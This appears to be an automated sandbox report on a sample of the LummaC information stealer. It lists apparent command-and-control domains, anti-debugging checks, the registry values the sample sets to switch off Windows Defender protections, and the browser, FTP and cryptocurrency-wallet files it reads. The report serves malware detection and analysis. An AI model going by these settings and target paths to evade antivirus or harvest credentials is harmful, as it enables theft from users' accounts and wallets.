Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Code function: 3_2_00FF6089 rdtsc

3_2_00FF6089

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Code function: 3_2_00E6B7E6 LdrInitializeThunk,

3_2_00E6B7E6

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000002.2261641594.0000000000081000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: presticitpo.store

Source: JJZGOUTRQA0HU75NUH14KKL5I2.exe, 00000003.00000002.2410058873.0000000001048000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.2262347520.00000000002A0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Z^Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.2153277359.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143505259.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143584759.0000000000C64000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6776, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2094081148.0000000000C53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: llets/Electrum-LTC
Source: file.exe	String found in binary or memory: llets/ElectronCash
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000002.2263229004.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.2078318593.0000000000C53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
